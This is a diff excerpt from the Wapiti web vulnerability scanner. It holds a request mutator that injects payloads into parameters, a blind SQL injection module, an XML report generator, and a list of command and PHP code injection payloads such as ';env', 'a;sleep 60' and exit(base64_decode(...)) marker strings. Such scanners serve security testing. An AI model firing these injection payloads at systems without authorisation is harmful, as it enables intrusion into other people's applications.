|
||||
)
|
||||
|
||||
|
||||
class Mutator:
|
||||
def __init__(
|
||||
self, methods="FGP", payloads=None, qs_inject=False, max_queries_per_pattern: int = 1000,
|
||||
parameters=None, # Restrict attack to a whitelist of parameters
|
||||
skip=None # Must not attack those parameters (blacklist)
|
||||
):
|
||||
self._mutate_get = "G" in methods.upper()
|
||||
self._mutate_file = "F" in methods.upper()
|
||||
self._mutate_post = "P" in methods.upper()
|
||||
self._payloads = payloads
|
||||
self._qs_inject = qs_inject
|
||||
self._attacks_per_url_pattern = defaultdict(int)
|
||||
self._max_queries_per_pattern = max_queries_per_pattern
|
||||
self._parameters = parameters if isinstance(parameters, list) else []
|
||||
self._skip_list = skip if isinstance(skip, set) else set()
|
||||
self._attack_hashes = set()
|
||||
self._skip_list.update(COMMON_ANNOYING_PARAMETERS)
|
||||
|
||||
def iter_payloads(self):
|
||||
# raise tuples of (payloads, flags)
|
||||
if isinstance(self._payloads, tuple):
|
||||
yield self._payloads
|
||||
elif isinstance(self._payloads, list) or isinstance(self._payloads, GeneratorType):
|
||||
yield from self._payloads
|
||||
elif isinstance(self._payloads, FunctionType):
|
||||
result = self._payloads()
|
||||
if isinstance(result, GeneratorType):
|
||||
yield from result
|
||||
else:
|
||||
yield result
|
||||
|
||||
def estimate_requests_count(self, request: Request):
|
||||
estimation = len(request) if isinstance(self._payloads, tuple) else len(request) * len(self._payloads)
|
||||
if self._qs_inject and request.method == "GET" and len(request) == 0:
|
||||
# Injection directly in query string is made only on GET requests with no parameters in URL
|
||||
estimation += len(self._payloads)
|
||||
return estimation
|
||||
|
||||
def mutate(self, request: Request):
|
||||
get_params = request.get_params
|
||||
post_params = request.post_params
|
||||
file_params = request.file_params
|
||||
referer = request.referer
|
||||
|
||||
# estimation = self.estimate_requests_count(request)
|
||||
#
|
||||
# if self._attacks_per_url_pattern[request.hash_params] + estimation > self._max_queries_per_pattern:
|
||||
# # Otherwise (pattern already attacked), make sure we don't exceed maximum allowed
|
||||
# return
|
||||
#
|
||||
# self._attacks_per_url_pattern[request.hash_params] += estimation
|
||||
|
||||
for params_list in [get_params, post_params, file_params]:
|
||||
for i in range(len(params_list)):
|
||||
param_name = quote(params_list[i][0])
|
||||
|
||||
if self._skip_list and param_name in self._skip_list:
|
||||
continue
|
||||
|
||||
if self._parameters and param_name not in self._parameters:
|
||||
continue
|
||||
|
||||
saved_value = params_list[i][1]
|
||||
if saved_value is None:
|
||||
saved_value = ""
|
||||
|
||||
if params_list is file_params:
|
||||
params_list[i][1] = ["__PAYLOAD__", params_list[i][1][1]]
|
||||
else:
|
||||
params_list[i][1] = "__PAYLOAD__"
|
||||
|
||||
attack_pattern = Request(
|
||||
request.path,
|
||||
method=request.method,
|
||||
get_params=get_params,
|
||||
post_params=post_params,
|
||||
file_params=file_params
|
||||
)
|
||||
|
||||
if hash(attack_pattern) not in self._attack_hashes:
|
||||
self._attack_hashes.add(hash(attack_pattern))
|
||||
|
||||
for payload, original_flags in self.iter_payloads():
|
||||
# no quoting: send() will do it for us
|
||||
payload = payload.replace("[FILE_NAME]", request.file_name)
|
||||
payload = payload.replace("[FILE_NOEXT]", splitext(request.file_name)[0])
|
||||
|
||||
# Flags from iter_payloads should be considered as mutable (even if it's ot the case)
|
||||
# so let's copy them just to be sure we don't mess with them.
|
||||
flags = set(original_flags)
|
||||
|
||||
if params_list is file_params:
|
||||
payload = payload.replace("[VALUE]", saved_value[0])
|
||||
payload = payload.replace("[DIRVALUE]", saved_value[0].rsplit('/', 1)[0])
|
||||
params_list[i][1][0] = payload
|
||||
flags.add(PayloadType.file)
|
||||
else:
|
||||
payload = payload.replace("[VALUE]", saved_value)
|
||||
payload = payload.replace("[DIRVALUE]", saved_value.rsplit('/', 1)[0])
|
||||
params_list[i][1] = payload
|
||||
if params_list is get_params:
|
||||
flags.add(PayloadType.get)
|
||||
else:
|
||||
flags.add(PayloadType.post)
|
||||
|
||||
evil_req = Request(
|
||||
request.path,
|
||||
method=request.method,
|
||||
get_params=get_params,
|
||||
post_params=post_params,
|
||||
file_params=file_params,
|
||||
referer=referer,
|
||||
link_depth=request.link_depth
|
||||
)
|
||||
yield evil_req, param_name, payload, flags
|
||||
|
||||
params_list[i][1] = saved_value
|
||||
|
||||
if not get_params and request.method == "GET" and self._qs_inject:
|
||||
attack_pattern = Request(
|
||||
"{}?__PAYLOAD__".format(request.path),
|
||||
method=request.method,
|
||||
referer=referer,
|
||||
link_depth=request.link_depth
|
||||
)
|
||||
|
||||
if hash(attack_pattern) not in self._attack_hashes:
|
||||
self._attack_hashes.add(hash(attack_pattern))
|
||||
|
||||
for payload, original_flags in self.iter_payloads():
|
||||
# Ignore payloads reusing existing parameter values
|
||||
if "[VALUE]" in payload:
|
||||
continue
|
||||
|
||||
if "[DIRVALUE]" in payload:
|
||||
continue
|
||||
|
||||
payload = payload.replace("[FILE_NAME]", request.file_name)
|
||||
payload = payload.replace("[FILE_NOEXT]", splitext(request.file_name)[0])
|
||||
flags = set(original_flags)
|
||||
|
||||
evil_req = Request(
|
||||
"{}?{}".format(request.path, quote(payload)),
|
||||
method=request.method,
|
||||
referer=referer,
|
||||
link_depth=request.link_depth
|
||||
)
|
||||
flags.add(PayloadType.get)
|
||||
|
||||
yield evil_req, "QUERY_STRING", flags
|
||||
|
||||
|
||||
class PayloadReader:
|
||||
"""Class for reading and writing in text files"""
|
||||
|
||||
def __init__(self, timeout=20):
|
||||
self._timeout = timeout
|
||||
|
||||
def read_payloads(self, filename):
|
||||
"""returns a array"""
|
||||
lines = []
|
||||
try:
|
||||
# Reminder : don't try to read payload files as UTF-8, must give str type
|
||||
with open(filename) as f:
|
||||
for line in f:
|
||||
flags = set()
|
||||
clean_line = line.strip(" \n")
|
||||
clean_line = clean_line.replace("[TAB]", "\t")
|
||||
clean_line = clean_line.replace("[LF]", "\n")
|
||||
clean_line = clean_line.replace("[TIME]", str(int(ceil(self._timeout)) + 1))
|
||||
|
||||
payload_type = PayloadType.pattern
|
||||
if "[TIMEOUT]" in clean_line:
|
||||
payload_type = PayloadType.time
|
||||
clean_line = clean_line.replace("[TIMEOUT]", "")
|
||||
|
||||
flags.add(payload_type)
|
||||
|
||||
if clean_line != "":
|
||||
lines.append((clean_line.replace("\\0", "\0"), flags))
|
||||
except IOError as exception:
|
||||
print(exception)
|
||||
return lines
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
mutator = Mutator(payloads=[("INJECT", set()), ("ATTACK", set())], qs_inject=True, max_queries_per_pattern=16)
|
||||
res1 = Request(
|
||||
"http://httpbin.org/post?var1=a&var2=b",
|
||||
post_params=[['post1', 'c'], ['post2', 'd']]
|
||||
)
|
||||
|
||||
res2 = Request(
|
||||
"http://httpbin.org/post?var1=a&var2=z",
|
||||
post_params=[['post1', 'c'], ['post2', 'd']]
|
||||
)
|
||||
|
||||
res3 = Request(
|
||||
"http://httpbin.org/get?login=admin&password=letmein",
|
||||
)
|
||||
|
||||
assert res1.hash_params == res2.hash_params
|
||||
|
||||
for evil_request, param_name, payload, flags in mutator.mutate(res1):
|
||||
print(evil_request)
|
||||
print(flags)
|
||||
|
||||
print('')
|
||||
print("#"*50)
|
||||
print('')
|
||||
|
||||
for evil_request, param_name, payload, flags in mutator.mutate(res2):
|
||||
print(evil_request)
|
||||
|
||||
print('')
|
||||
print("#"*50)
|
||||
print('')
|
||||
|
||||
def iterator():
|
||||
yield ("abc", set())
|
||||
yield ("def", set())
|
||||
|
||||
mutator = Mutator(payloads=iterator, qs_inject=True, max_queries_per_pattern=16)
|
||||
for evil_request, param_name, payload, flags in mutator.mutate(res3):
|
||||
print(evil_request)
|
||||
|
||||
print('')
|
||||
print("#"*50)
|
||||
print('')
|
||||
|
||||
def random_string():
|
||||
"""Create a random unique ID that will be used to test injection."""
|
||||
# doesn't uppercase letters as BeautifulSoup make some data lowercase
|
||||
return "w" + "".join([random.choice("0123456789abcdefghjijklmnopqrstuvwxyz") for __ in range(0, 9)]), set()
|
||||
|
||||
mutator = Mutator(payloads=random_string, qs_inject=True, max_queries_per_pattern=16)
|
||||
for evil_request, param_name, payload, flags in mutator.mutate(res3):
|
||||
print(evil_request)
|
||||
print("Payload is", payload)
|
||||
|
||||
mutator = Mutator(methods="G", payloads=[("INJECT", set()), ("ATTACK", set())], qs_inject=True, parameters=["var1"])
|
||||
assert len(list(mutator.mutate(res1))) == 2
|
|
@ -0,0 +1,134 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
|
||||
# Copyright (C) 2008-2018 Nicolas Surribas
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation; either version 2 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
from itertools import chain
|
||||
|
||||
from wapitiCore.attack.attack import Attack
|
||||
from wapitiCore.language.vulnerability import Vulnerability, Anomaly, _
|
||||
from requests.exceptions import ReadTimeout, RequestException
|
||||
|
||||
|
||||
class mod_blindsql(Attack):
|
||||
"""
|
||||
This class implements an SQL Injection attack
|
||||
"""
|
||||
|
||||
PAYLOADS_FILE = "blindSQLPayloads.txt"
|
||||
blind_sql_payloads = []
|
||||
TIME_TO_SLEEP = 6
|
||||
name = "blindsql"
|
||||
require = ["sql"]
|
||||
PRIORITY = 6
|
||||
|
||||
MSG_VULN = _("Blind SQL vulnerability")
|
||||
|
||||
def __init__(self, crawler, persister, logger, attack_options):
|
||||
Attack.__init__(self, crawler, persister, logger, attack_options)
|
||||
self.blind_sql_payloads = self.payloads
|
||||
self.excluded_get = []
|
||||
self.excluded_post = []
|
||||
|
||||
def set_timeout(self, timeout):
|
||||
self.TIME_TO_SLEEP = str(1 + int(timeout))
|
||||
|
||||
def attack(self):
|
||||
mutator = self.get_mutator()
|
||||
|
||||
http_resources = self.persister.get_links(attack_module=self.name) if self.do_get else []
|
||||
forms = self.persister.get_forms(attack_module=self.name) if self.do_post else []
|
||||
|
||||
for original_request in chain(http_resources, forms):
|
||||
page = original_request.path
|
||||
saw_internal_error = False
|
||||
|
||||
if self.verbose >= 1:
|
||||
print("[+] {}".format(original_request))
|
||||
|
||||
for mutated_request, parameter, payload, flags in mutator.mutate(original_request):
|
||||
try:
|
||||
if self.verbose == 2:
|
||||
print("[¨] {0}".format(mutated_request))
|
||||
|
||||
try:
|
||||
response = self.crawler.send(mutated_request)
|
||||
except ReadTimeout:
|
||||
|
||||
if parameter == "QUERY_STRING":
|
||||
vuln_message = Vulnerability.MSG_QS_INJECT.format(self.MSG_VULN, page)
|
||||
log_message = Vulnerability.MSG_QS_INJECT
|
||||
else:
|
||||
vuln_message = _("{0} via injection in the parameter {1}").format(self.MSG_VULN, parameter)
|
||||
log_message = Vulnerability.MSG_PARAM_INJECT
|
||||
|
||||
self.add_vuln(
|
||||
request_id=original_request.path_id,
|
||||
category=Vulnerability.BLIND_SQL_INJECTION,
|
||||
level=Vulnerability.HIGH_LEVEL,
|
||||
request=mutated_request,
|
||||
info=vuln_message,
|
||||
parameter=parameter
|
||||
)
|
||||
|
||||
self.log_red("---")
|
||||
self.log_red(
|
||||
log_message,
|
||||
self.MSG_VULN,
|
||||
page,
|
||||
parameter
|
||||
)
|
||||
self.log_red(Vulnerability.MSG_EVIL_REQUEST)
|
||||
self.log_red(mutated_request.http_repr())
|
||||
self.log_red("---")
|
||||
|
||||
# We reached maximum exploitation, stop here
|
||||
break
|
||||
|
||||
else:
|
||||
if response.status == 500 and not saw_internal_error:
|
||||
saw_internal_error = True
|
||||
if parameter == "QUERY_STRING":
|
||||
anom_msg = Anomaly.MSG_QS_500
|
||||
else:
|
||||
anom_msg = Anomaly.MSG_PARAM_500.format(parameter)
|
||||
|
||||
self.add_anom(
|
||||
request_id=original_request.path_id,
|
||||
category=Anomaly.ERROR_500,
|
||||
level=Anomaly.HIGH_LEVEL,
|
||||
request=mutated_request,
|
||||
info=anom_msg,
|
||||
parameter=parameter
|
||||
)
|
||||
|
||||
self.log_orange("---")
|
||||
self.log_orange(Anomaly.MSG_500, page)
|
||||
self.log_orange(Anomaly.MSG_EVIL_REQUEST)
|
||||
self.log_orange(mutated_request.http_repr())
|
||||
self.log_orange("---")
|
||||
except (KeyboardInterrupt, RequestException) as exception:
|
||||
yield exception
|
||||
|
||||
yield original_request
|
||||
|
||||
# TODO: should blindsql module ignore vulnerabilities that have previously been detected by the sql module ?
|
||||
def load_require(self, dependancies: list = None):
|
||||
if dependancies:
|
||||
for module in dependancies:
|
||||
if module.name == "sql":
|
||||
self.excluded_get = module.vulnerable_get
|
||||
self.excluded_post = module.vulnerable_post
|
|
@ -0,0 +1,23 @@
|
|||
;env
|
||||
a;env
|
||||
a);env
|
||||
[VALUE];env
|
||||
[VALUE][LF]env
|
||||
/e\0
|
||||
a;exit(base64_decode('dzRwMXQxX2V2YWw='));//
|
||||
a;exit(base64_decode('dzRwMXQxX2V2YWw='));#
|
||||
";exit(base64_decode('dzRwMXQxX2V2YWw='));//
|
||||
";exit(base64_decode('dzRwMXQxX2V2YWw='));#
|
||||
';exit(base64_decode('dzRwMXQxX2V2YWw='));//
|
||||
';exit(base64_decode('dzRwMXQxX2V2YWw='));#
|
||||
".exit(base64_decode('dzRwMXQxX2V2YWw='));//
|
||||
".exit(base64_decode('dzRwMXQxX2V2YWw='));#
|
||||
'.exit(base64_decode('dzRwMXQxX2V2YWw='));//
|
||||
'.exit(base64_decode('dzRwMXQxX2V2YWw='));#
|
||||
exit(base64_decode('dzRwMXQxX2V2YWw='));//
|
||||
exit(base64_decode('dzRwMXQxX2V2YWw='));#
|
||||
data:;base64,PD9waHAgZWNobyAndzRwMXQxJywnX2V2YWwnOyA/Pg==
|
||||
a`)`
|
||||
a`sleep 60`[TIMEOUT]
|
||||
a;sleep 60;[TIMEOUT]
|
||||
a|sleep 60;[TIMEOUT]
|
Binary file not shown.
After Width: | Height: | Size: 345 KiB |
|
@ -0,0 +1,207 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
|
||||
# Copyright (C) 2008-2018 Nicolas Surribas
|
||||
#
|
||||
# Original authors :
|
||||
# David del Pozo
|
||||
# Alberto Pastor
|
||||
# Copyright (C) 2008 Informatica Gesfor
|
||||
# ICT Romulus (http://www.ict-romulus.eu)
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation; either version 2 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
from xml.dom.minidom import Document
|
||||
import datetime
|
||||
|
||||
from wapitiCore.report.reportgenerator import ReportGenerator
|
||||
|
||||
|
||||
def is_peer_tuple(p):
|
||||
"""Is p a (str,int) tuple? I.E. an (ip_address,port)"""
|
||||
if type(p) == tuple and len(p) == 2:
|
||||
return type(p[0]) == str and type(p[1]) == int
|
||||
else:
|
||||
return False
|
||||
|
||||
|
||||
class VulneraNetXMLReportGenerator(ReportGenerator):
|
||||
"""
|
||||
This class generates a report with the method printToFile(fileName) which contains
|
||||
the information of all the vulnerabilities notified to this object through the
|
||||
method add_vulnerability(category,level,url,parameter,info).
|
||||
The format of the file is XML and it has the following structure:
|
||||
<report type="security">
|
||||
<generatedBy id="Wapiti 3.0.1"/>
|
||||
<bugTypeList>
|
||||
<bugType name="SQL Injection">
|
||||
<bugList/>
|
||||
|
||||
<report>
|
||||
<vulnerabilityTypeList>
|
||||
<vulnerabilityType name="SQL Injection">
|
||||
<vulnerabilityList>
|
||||
<vulnerability level="3">
|
||||
<url>http://www.a.com</url>
|
||||
<parameters>id=23</parameters>
|
||||
<info>SQL Injection</info>
|
||||
</vulnerability>
|
||||
</vulnerabilityList>
|
||||
</vulnerabilityType>
|
||||
</vulnerabilityTypeList>
|
||||
</report>
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self._timestamp = datetime.datetime.now()
|
||||
self._xml_doc = Document()
|
||||
self._vulnerability_type_list = None
|
||||
|
||||
def set_report_info(self, target, scope, date, version):
|
||||
super().set_report_info(target, scope, date, version)
|
||||
report = self._xml_doc.createElement("Report")
|
||||
|
||||
report.setAttribute("generatedBy", version)
|
||||
report.setAttribute("generationDate", self._timestamp.isoformat())
|
||||
self._vulnerability_type_list = self._xml_doc.createElement("VulnerabilityTypeList")
|
||||
report.appendChild(self._vulnerability_type_list)
|
||||
|
||||
self._xml_doc.appendChild(report)
|
||||
|
||||
def _add_to_vulnerability_type_list(self, vulnerability_type):
|
||||
self._vulnerability_type_list.appendChild(vulnerability_type)
|
||||
|
||||
def add_vulnerability_type(self, name, description="", solution="", references=None):
|
||||
"""
|
||||
This method adds a vulnerability type, it can be invoked to include in the
|
||||
report the type.
|
||||
The types are not stored previously, they are added when the method
|
||||
add_vulnerability(category,level,url,parameter,info) is invoked
|
||||
and if there is no vulnerability of a type, this type will not be presented
|
||||
in the report
|
||||
"""
|
||||
vulnerability_type = self._xml_doc.createElement("VulnerabilityType")
|
||||
vulnerability_type.appendChild(self._xml_doc.createElement("VulnerabilityList"))
|
||||
|
||||
vuln_title_node = self._xml_doc.createElement("Title")
|
||||
vuln_title_node.appendChild(self._xml_doc.createTextNode(name))
|
||||
vulnerability_type.appendChild(vuln_title_node)
|
||||
|
||||
self._add_to_vulnerability_type_list(vulnerability_type)
|
||||
if description != "":
|
||||
description_node = self._xml_doc.createElement("Description")
|
||||
description_node.appendChild(self._xml_doc.createCDATASection(description))
|
||||
vulnerability_type.appendChild(description_node)
|
||||
if solution != "":
|
||||
solution_node = self._xml_doc.createElement("Solution")
|
||||
solution_node.appendChild(self._xml_doc.createCDATASection(solution))
|
||||
vulnerability_type.appendChild(solution_node)
|
||||
if references != "":
|
||||
references_node = self._xml_doc.createElement("References")
|
||||
for ref in references:
|
||||
reference_node = self._xml_doc.createElement("Reference")
|
||||
name_node = self._xml_doc.createElement("name")
|
||||
url_node = self._xml_doc.createElement("url")
|
||||
name_node.appendChild(self._xml_doc.createTextNode(ref))
|
||||
url_node.appendChild(self._xml_doc.createTextNode(references[ref]))
|
||||
reference_node.appendChild(name_node)
|
||||
reference_node.appendChild(url_node)
|
||||
references_node.appendChild(reference_node)
|
||||
vulnerability_type.appendChild(references_node)
|
||||
return vulnerability_type
|
||||
|
||||
def _add_to_vulnerability_list(self, category, vulnerability):
|
||||
vulnerability_type = None
|
||||
for node in self._vulnerability_type_list.childNodes:
|
||||
title_node = node.getElementsByTagName("Title")
|
||||
if (title_node.length >= 1 and
|
||||
title_node[0].childNodes.length == 1 and
|
||||
title_node[0].childNodes[0].wholeText == category):
|
||||
vulnerability_type = node
|
||||
break
|
||||
if vulnerability_type is None:
|
||||
vulnerability_type = self.add_vulnerability_type(category)
|
||||
vulnerability_type.childNodes[0].appendChild(vulnerability)
|
||||
|
||||
def add_vulnerability(self, category=None, level=0, request=None, parameter="", info=""):
|
||||
"""
|
||||
Store the information about the vulnerability to be printed later.
|
||||
The method printToFile(fileName) can be used to save in a file the
|
||||
vulnerabilities notified through the current method.
|
||||
"""
|
||||
|
||||
peer = None
|
||||
|
||||
vulnerability = self._xml_doc.createElement("Vulnerability")
|
||||
|
||||
if level == 1:
|
||||
st_level = "Low"
|
||||
elif level == 2:
|
||||
st_level = "Moderate"
|
||||
else:
|
||||
st_level = "Important"
|
||||
|
||||
level_node = self._xml_doc.createElement("Severity")
|
||||
level_node.appendChild(self._xml_doc.createTextNode(st_level))
|
||||
vulnerability.appendChild(level_node)
|
||||
|
||||
ts_node = self._xml_doc.createElement("DetectionDate")
|
||||
# tsNode.appendChild(self.__xmlDoc.createTextNode(ts.isoformat()))
|
||||
vulnerability.appendChild(ts_node)
|
||||
|
||||
##
|
||||
url_detail_node = self._xml_doc.createElement("URLDetail")
|
||||
vulnerability.appendChild(url_detail_node)
|
||||
|
||||
url_node = self._xml_doc.createElement("URL")
|
||||
url_node.appendChild(self._xml_doc.createTextNode(request.url))
|
||||
url_detail_node.appendChild(url_node)
|
||||
|
||||
if peer is not None:
|
||||
peer_node = self._xml_doc.createElement("Peer")
|
||||
if is_peer_tuple(peer):
|
||||
addr_node = self._xml_doc.createElement("Addr")
|
||||
addr_node.appendChild(self._xml_doc.createTextNode(peer[0]))
|
||||
peer_node.appendChild(addr_node)
|
||||
|
||||
port_node = self._xml_doc.createElement("Port")
|
||||
port_node.appendChild(self._xml_doc.createTextNode(str(peer[1])))
|
||||
peer_node.appendChild(port_node)
|
||||
else:
|
||||
addr_node = self._xml_doc.createElement("Addr")
|
||||
addr_node.appendChild(self._xml_doc.createTextNode(str(peer)))
|
||||
peer_node.appendChild(addr_node)
|
||||
url_detail_node.appendChild(peer_node)
|
||||
|
||||
parameter_node = self._xml_doc.createElement("Parameter")
|
||||
parameter_node.appendChild(self._xml_doc.createTextNode(parameter))
|
||||
url_detail_node.appendChild(parameter_node)
|
||||
|
||||
##
|
||||
|
||||
info_node = self._xml_doc.createElement("Info")
|
||||
info = info.replace("\n", "<br />")
|
||||
info_node.appendChild(self._xml_doc.createTextNode(info))
|
||||
url_detail_node.appendChild(info_node)
|
||||
|
||||
self._add_to_vulnerability_list(category, vulnerability)
|
||||
|
||||
def generate_report(self, output_path):
|
||||
"""
|
||||
Create a xml file with a report of the vulnerabilities which have been logged with
|
||||
the method add_vulnerability(category,level,url,parameter,info)
|
||||
"""
|
||||
with open(output_path, "w") as fd:
|
||||
self._xml_doc.writexml(fd, addindent=" ", newl="\n")
|
|
@ -0,0 +1,163 @@
|
|||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<vulnerabilities>
|
||||
<vulnerability name="SQL Injection">
|
||||
<description>SQL Injection description</description>
|
||||
<solution text="SQL Injection solution"/>
|
||||
<references>
|
||||
<reference>
|
||||
<title>http://www.owasp.org/index.php/SQL_Injection</title>
|
||||
<url>http://www.owasp.org/index.php/SQL_Injection</url>
|
||||
</reference>
|
||||
<reference>
|
||||
<title>http://en.wikipedia.org/wiki/SQL_injection</title>
|
||||
<url>http://en.wikipedia.org/wiki/SQL_injection</url>
|
||||
</reference>
|
||||
<reference>
|
||||
<title><![CDATA[CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')]]></title>
|
||||
<url>http://cwe.mitre.org/data/definitions/89.html</url>
|
||||
</reference>
|
||||
</references>
|
||||
</vulnerability>
|
||||
<vulnerability name="Blind SQL Injection">
|
||||
<description>Blind SQL Injection description</description>
|
||||
<solution text="Blind SQL Injection solution" />
|
||||
<references>
|
||||
<reference>
|
||||
<title>http://www.owasp.org/index.php/Blind_SQL_Injection</title>
|
||||
<url>http://www.owasp.org/index.php/Blind_SQL_Injection</url>
|
||||
</reference>
|
||||
<reference>
|
||||
<title>http://www.imperva.com/resources/adc/blind_sql_server_injection.html</title>
|
||||
<url>http://www.imperva.com/resources/adc/blind_sql_server_injection.html</url>
|
||||
</reference>
|
||||
<reference>
|
||||
<title><![CDATA[CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')]]></title>
|
||||
<url>http://cwe.mitre.org/data/definitions/89.html</url>
|
||||
</reference>
|
||||
</references>
|
||||
</vulnerability>
|
||||
<vulnerability name="File Handling">
|
||||
<description>File Handling description</description>
|
||||
<solution text="File Handling solution" />
|
||||
<references>
|
||||
<reference>
|
||||
<title>http://www.owasp.org/index.php/Path_Traversal</title>
|
||||
<url>http://www.owasp.org/index.php/Path_Traversal</url>
|
||||
</reference>
|
||||
<reference>
|
||||
<title>http://www.acunetix.com/websitesecurity/directory-traversal.htm</title>
|
||||
<url>http://www.acunetix.com/websitesecurity/directory-traversal.htm</url>
|
||||
</reference>
|
||||
<reference>
|
||||
<title><![CDATA[CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')]]></title>
|
||||
<url>http://cwe.mitre.org/data/definitions/22.html</url>
|
||||
</reference>
|
||||
</references>
|
||||
</vulnerability>
|
||||
<vulnerability name="Cross Site Scripting">
|
||||
<description>Cross Site Scripting description</description>
|
||||
<solution text="Cross Site Scripting solution" />
|
||||
<references>
|
||||
<reference>
|
||||
<title>http://www.owasp.org/index.php/Cross_Site_Scripting</title>
|
||||
<url>http://www.owasp.org/index.php/Cross_Site_Scripting</url>
|
||||
</reference>
|
||||
<reference>
|
||||
<title>http://en.wikipedia.org/wiki/Cross-site_scripting</title>
|
||||
<url>http://en.wikipedia.org/wiki/Cross-site_scripting</url>
|
||||
</reference>
|
||||
<reference>
|
||||
<title><![CDATA[CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')]]></title>
|
||||
<url>http://cwe.mitre.org/data/definitions/79.html</url>
|
||||
</reference>
|
||||
</references>
|
||||
</vulnerability>
|
||||
<vulnerability name="CRLF Injection">
|
||||
<description>CRLF description</description>
|
||||
<solution text="CRLF solution"/>
|
||||
<references>
|
||||
<reference>
|
||||
<title>http://www.owasp.org/index.php/CRLF_Injection</title>
|
||||
<url>http://www.owasp.org/index.php/CRLF_Injection</url>
|
||||
</reference>
|
||||
<reference>
|
||||
<title>http://www.acunetix.com/websitesecurity/crlf-injection.htm</title>
|
||||
<url>http://www.acunetix.com/websitesecurity/crlf-injection.htm</url>
|
||||
</reference>
|
||||
<reference>
|
||||
<title><![CDATA[CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')]]></title>
|
||||
<url>http://cwe.mitre.org/data/definitions/93.html</url>
|
||||
</reference>
|
||||
</references>
|
||||
</vulnerability>
|
||||
<vulnerability name="Commands execution">
|
||||
<description>Commands execution description</description>
|
||||
<solution text="Commands execution solution"/>
|
||||
<references>
|
||||
<reference>
|
||||
<title>http://www.owasp.org/index.php/Command_Injection</title>
|
||||
<url>http://www.owasp.org/index.php/Command_Injection</url>
|
||||
</reference>
|
||||
<reference>
|
||||
<title><![CDATA[CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')]]></title>
|
||||
<url>http://cwe.mitre.org/data/definitions/78.html</url>
|
||||
</reference>
|
||||
</references>
|
||||
</vulnerability>
|
||||
<vulnerability name="Htaccess Bypass">
|
||||
<description>Htaccess bypass description</description>
|
||||
<solution text="Htaccess bypass solution"/>
|
||||
<references>
|
||||
<reference>
|
||||
<title>http://blog.teusink.net/2009/07/common-apache-htaccess-misconfiguration.html</title>
|
||||
<url>http://blog.teusink.net/2009/07/common-apache-htaccess-misconfiguration.html</url>
|
||||
</reference>
|
||||
<reference>
|
||||
<title>CWE-538: File and Directory Information Exposure</title>
|
||||
<url>http://cwe.mitre.org/data/definitions/538.html</url>
|
||||
</reference>
|
||||
</references>
|
||||
</vulnerability>
|
||||
<vulnerability name="Backup file">
|
||||
<description>Backup file description</description>
|
||||
<solution text="Backup file solution"/>
|
||||
<references>
|
||||
<reference>
|
||||
<title>Testing for Old, Backup and Unreferenced Files (OWASP-CM-006)</title>
|
||||
<url>http://www.owasp.org/index.php/Testing_for_Old,_Backup_and_Unreferenced_Files_(OWASP-CM-006)</url>
|
||||
</reference>
|
||||
<reference>
|
||||
<title>CWE-530: Exposure of Backup File to an Unauthorized Control Sphere</title>
|
||||
<url>http://cwe.mitre.org/data/definitions/530.html</url>
|
||||
</reference>
|
||||
</references>
|
||||
</vulnerability>
|
||||
<vulnerability name="Potentially dangerous file">
|
||||
<description>Potentially dangerous file description</description>
|
||||
<solution text="Potentially dangerous file solution"/>
|
||||
<references>
|
||||
<reference>
|
||||
<title>The Open Source Vulnerability Database</title>
|
||||
<url>http://osvdb.org/</url>
|
||||
</reference>
|
||||
</references>
|
||||
</vulnerability>
|
||||
<vulnerability name="Server Side Request Forgery">
|
||||
<description>Server Side Request Forgery description</description>
|
||||
<solution text="Server Side Request Forgery solution" />
|
||||
<references>
|
||||
<reference>
|
||||
<title>Server Side Request Forgery (OWASP)</title>
|
||||
<url>https://www.owasp.org/index.php/Server_Side_Request_Forgery</url>
|
||||
</reference>
|
||||
<reference>
|
||||
<title>What is Server Side Request Forgery (Acunetix)?</title>
|
||||
<url>https://www.acunetix.com/blog/articles/server-side-request-forgery-vulnerability/</url>
|
||||
</reference>
|
||||
<reference>
|
||||
<title>What is the Server Side Request Forgery Vulnerability (Netsparker)</title>
|
||||
<url>https://www.netsparker.com/blog/web-security/server-side-request-forgery-vulnerability-ssrf/</url>
|
||||
</reference>
|
||||
</references>
|
||||
</vulnerability>
|
||||
</vulnerabilities>
|
|
@ -0,0 +1,237 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
|
||||
# Copyright (C) 2008-2018 Nicolas Surribas
|
||||
#
|
||||
# Original authors :
|
||||
# Alberto Pastor
|
||||
# David del Pozo
|
||||
